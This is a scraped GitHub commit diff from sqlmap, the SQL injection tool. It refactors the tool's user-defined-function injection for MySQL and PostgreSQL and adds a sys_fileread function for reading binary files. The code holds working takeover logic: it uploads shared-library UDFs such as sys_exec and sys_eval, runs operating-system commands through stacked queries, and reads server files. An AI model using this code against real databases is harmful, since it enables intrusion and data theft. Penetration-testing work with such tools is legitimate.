Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 89dc991

Browse files
committed
--read-file on PostgreSQL now relies on the new sys_fileread() UDF so that also binary files can be read.
Fixed a minor bug in custom UDF injection feature --udf-inject. Major code refactoring.
1 parent f728208 commit 89dc991

9 files changed

Lines changed: 63 additions & 100 deletions

File tree

lib/takeover/abstraction.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -157,7 +157,7 @@ def initEnv(self, mandatory=True, detailed=False, web=False):
157157
logger.warn(warnMsg)
158158

159159
if kb.dbms in ( "MySQL", "PostgreSQL" ):
160-
self.udfInjectCmd()
160+
self.udfInjectSys()
161161
elif kb.dbms == "Microsoft SQL Server":
162162
if mandatory:
163163
self.xpCmdshellInit()

lib/takeover/udf.py

Lines changed: 26 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@
3535
from lib.core.exception import sqlmapFilePathException
3636
from lib.core.exception import sqlmapMissingMandatoryOptionException
3737
from lib.core.exception import sqlmapUnsupportedFeatureException
38+
from lib.core.unescaper import unescaper
3839
from lib.request import inject
3940
from lib.techniques.outband.stacked import stackedTest
4041

@@ -89,21 +90,23 @@ def udfCreateSupportTbl(self, dataType):
8990
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
9091

9192
def udfExecCmd(self, cmd, silent=False, udfName=None):
92-
cmd = urlencode(cmd, convall=True)
93-
9493
if udfName is None:
9594
cmd = "'%s'" % cmd
9695
udfName = "sys_exec"
9796

97+
cmd = unescaper.unescape(cmd)
98+
cmd = urlencode(cmd, convall=True)
99+
98100
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
99101

100102
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
101-
cmd = urlencode(cmd, convall=True)
102-
103103
if udfName is None:
104104
cmd = "'%s'" % cmd
105105
udfName = "sys_eval"
106106

107+
cmd = unescaper.unescape(cmd)
108+
cmd = urlencode(cmd, convall=True)
109+
107110
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
108111
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last)
109112
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
@@ -116,23 +119,29 @@ def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
116119

117120
return output
118121

119-
def checkNeededUdfs(self):
122+
def udfCheckNeeded(self):
123+
if ( not conf.rFile or ( conf.rFile and kb.dbms != "PostgreSQL" ) ) and "sys_fileread" in self.sysUdfs:
124+
self.sysUdfs.pop("sys_fileread")
125+
120126
if not conf.osPwn:
121127
self.sysUdfs.pop("sys_bineval")
122128

123129
if not conf.osCmd and not conf.osShell and not conf.regRead:
124130
self.sysUdfs.pop("sys_eval")
125131

126-
def udfCreateFromSharedLib(self):
127-
errMsg = "udfSetRemotePath() method must be defined within the plugin"
128-
raise sqlmapUnsupportedFeatureException(errMsg)
132+
if not conf.osPwn and not conf.regAdd and not conf.regDel:
133+
self.sysUdfs.pop("sys_exec")
129134

130135
def udfSetRemotePath(self):
131136
errMsg = "udfSetRemotePath() method must be defined within the plugin"
132137
raise sqlmapUnsupportedFeatureException(errMsg)
133138

134-
def udfInjectCmd(self):
135-
errMsg = "udfInjectCmd() method must be defined within the plugin"
139+
def udfSetLocalPaths(self):
140+
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
141+
raise sqlmapUnsupportedFeatureException(errMsg)
142+
143+
def udfCreateFromSharedLib(self):
144+
errMsg = "udfSetRemotePath() method must be defined within the plugin"
136145
raise sqlmapUnsupportedFeatureException(errMsg)
137146

138147
def udfInjectCore(self, udfDict):
@@ -157,6 +166,11 @@ def udfInjectCore(self, udfDict):
157166

158167
self.udfCreateSupportTbl(supportTblType)
159168

169+
def udfInjectSys(self):
170+
self.udfSetLocalPaths()
171+
self.udfCheckNeeded()
172+
self.udfInjectCore(self.sysUdfs)
173+
160174
def udfInjectCustom(self):
161175
if kb.dbms not in ( "MySQL", "PostgreSQL" ):
162176
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms
@@ -286,7 +300,6 @@ def udfInjectCustom(self):
286300

287301
if isinstance(retType, str) and retType.isdigit():
288302
logger.warn("you need to specify the data-type of the return value")
289-
290303
else:
291304
self.udfs[udfName]["return"] = retType
292305
break
@@ -314,16 +327,13 @@ def udfInjectCustom(self):
314327
while True:
315328
choice = readInput(msg)
316329

317-
if choice[0] in ( "q", "Q" ):
330+
if choice and choice[0] in ( "q", "Q" ):
318331
break
319-
320-
if isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
332+
elif isinstance(choice, str) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
321333
choice = int(choice)
322334
break
323-
324335
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
325336
break
326-
327337
else:
328338
warnMsg = "invalid value, only digits >= 1 and "
329339
warnMsg += "<= %d are allowed" % len(udfList)

plugins/dbms/mysql.py

Lines changed: 13 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ def __init__(self):
6464
self.__datadir = None
6565
self.excludeDbsList = MYSQL_SYSTEM_DBS
6666
self.sysUdfs = {
67-
# UDF name: UDF return data-type
67+
# UDF name: UDF return data-type
6868
"sys_exec": { "return": "int" },
6969
"sys_eval": { "return": "string" },
7070
"sys_bineval": { "return": "int" }
@@ -534,7 +534,18 @@ def udfSetRemotePath(self):
534534
# paths specified in /etc/ld.so.conf file, none of these
535535
# paths are writable by mysql user by default
536536
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
537-
537+
538+
def udfSetLocalPaths(self):
539+
self.udfLocalFile = paths.SQLMAP_UDF_PATH
540+
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
541+
542+
if kb.os == "Windows":
543+
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
544+
self.udfSharedLibExt = "dll"
545+
else:
546+
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
547+
self.udfSharedLibExt = "so"
548+
538549
def udfCreateFromSharedLib(self, udf, inpRet):
539550
if udf in self.udfToCreate:
540551
logger.info("creating UDF '%s' from the binary UDF file" % udf)
@@ -548,21 +559,7 @@ def udfCreateFromSharedLib(self, udf, inpRet):
548559
self.createdUdf.add(udf)
549560
else:
550561
logger.debug("keeping existing UDF '%s' as requested" % udf)
551-
552-
def udfInjectCmd(self):
553-
self.udfLocalFile = paths.SQLMAP_UDF_PATH
554-
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
555562

556-
if kb.os == "Windows":
557-
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
558-
self.udfSharedLibExt = "dll"
559-
else:
560-
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
561-
self.udfSharedLibExt = "so"
562-
563-
self.checkNeededUdfs()
564-
self.udfInjectCore(self.sysUdfs)
565-
566563
def uncPathRequest(self):
567564
if not kb.stackedTest:
568565
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)

plugins/dbms/postgresql.py

Lines changed: 22 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -61,19 +61,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
6161
def __init__(self):
6262
self.excludeDbsList = PGSQL_SYSTEM_DBS
6363
self.sysUdfs = {
64-
# UDF name: UDF parameters' input data-type and return data-type
65-
"sys_exec": {
66-
"input": [ "text" ],
67-
"return": "int4"
68-
},
69-
"sys_eval": {
70-
"input": [ "text" ],
71-
"return": "text"
72-
},
73-
"sys_bineval": {
74-
"input": [ "text" ],
75-
"return": "int4"
76-
}
64+
# UDF name: UDF parameters' input data-type and return data-type
65+
"sys_exec": { "input": [ "text" ], "return": "int4" },
66+
"sys_eval": { "input": [ "text" ], "return": "text" },
67+
"sys_bineval": { "input": [ "text" ], "return": "int4" },
68+
"sys_fileread": { "input": [ "text" ], "return": "text" }
7769
}
7870

7971
Enumeration.__init__(self, "PostgreSQL")
@@ -301,40 +293,12 @@ def unionReadFile(self, rFile):
301293
raise sqlmapUnsupportedFeatureException, errMsg
302294

303295
def stackedReadFile(self, rFile):
304-
warnMsg = "binary file read on PostgreSQL is not yet supported, "
305-
warnMsg += "if the requested file is binary, its content will not "
306-
warnMsg += "be retrieved"
307-
logger.warn(warnMsg)
308-
309296
infoMsg = "fetching file: '%s'" % rFile
310297
logger.info(infoMsg)
311298

312-
result = []
313-
314-
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
315-
316-
logger.debug("loading the content of file '%s' into support table" % rFile)
317-
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
318-
319-
if kb.unionPosition:
320-
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
321-
322-
if not result:
323-
result = []
324-
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
299+
self.initEnv()
325300

326-
if not count.isdigit() or not len(count) or count == "0":
327-
errMsg = "unable to retrieve the content of the "
328-
errMsg += "file '%s'" % rFile
329-
raise sqlmapNoneDataException, errMsg
330-
331-
indexRange = getRange(count)
332-
333-
for index in indexRange:
334-
chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
335-
result.append(chunk)
336-
337-
return result
301+
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
338302

339303
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
340304
errMsg = "PostgreSQL does not support file upload with UNION "
@@ -429,22 +393,7 @@ def udfSetRemotePath(self):
429393
# read/write/execute access is valid
430394
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
431395

432-
def udfCreateFromSharedLib(self, udf, inpRet):
433-
if udf in self.udfToCreate:
434-
logger.info("creating UDF '%s' from the binary UDF file" % udf)
435-
436-
inp = ", ".join(i for i in inpRet["input"])
437-
ret = inpRet["return"]
438-
439-
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
440-
inject.goStacked("DROP FUNCTION %s" % udf)
441-
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
442-
443-
self.createdUdf.add(udf)
444-
else:
445-
logger.debug("keeping existing UDF '%s' as requested" % udf)
446-
447-
def udfInjectCmd(self):
396+
def udfSetLocalPaths(self):
448397
self.udfLocalFile = paths.SQLMAP_UDF_PATH
449398
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
450399

@@ -469,8 +418,20 @@ def udfInjectCmd(self):
469418
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
470419
self.udfSharedLibExt = "so"
471420

472-
self.checkNeededUdfs()
473-
self.udfInjectCore(self.sysUdfs)
421+
def udfCreateFromSharedLib(self, udf, inpRet):
422+
if udf in self.udfToCreate:
423+
logger.info("creating UDF '%s' from the binary UDF file" % udf)
424+
425+
inp = ", ".join(i for i in inpRet["input"])
426+
ret = inpRet["return"]
427+
428+
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
429+
inject.goStacked("DROP FUNCTION %s" % udf)
430+
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
431+
432+
self.createdUdf.add(udf)
433+
else:
434+
logger.debug("keeping existing UDF '%s' as requested" % udf)
474435

475436
def uncPathRequest(self):
476437
self.createSupportTbl(self.fileTblName, self.tblField, "text")

plugins/generic/filesystem.py

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -285,12 +285,7 @@ def readFile(self, rFile):
285285

286286
fileContent = newFileContent
287287

288-
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
289-
fileContent = self.__unhexString(fileContent)
290-
291-
elif kb.dbms == "PostgreSQL":
292-
fileContent = self.__unbase64String(fileContent)
293-
288+
fileContent = self.__unhexString(fileContent)
294289
rFilePath = dataToOutFile(fileContent)
295290

296291
self.cleanup(onlyFileTbl=True)
1.16 KB
Binary file not shown.
1.15 KB
Binary file not shown.
512 Bytes
Binary file not shown.
0 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)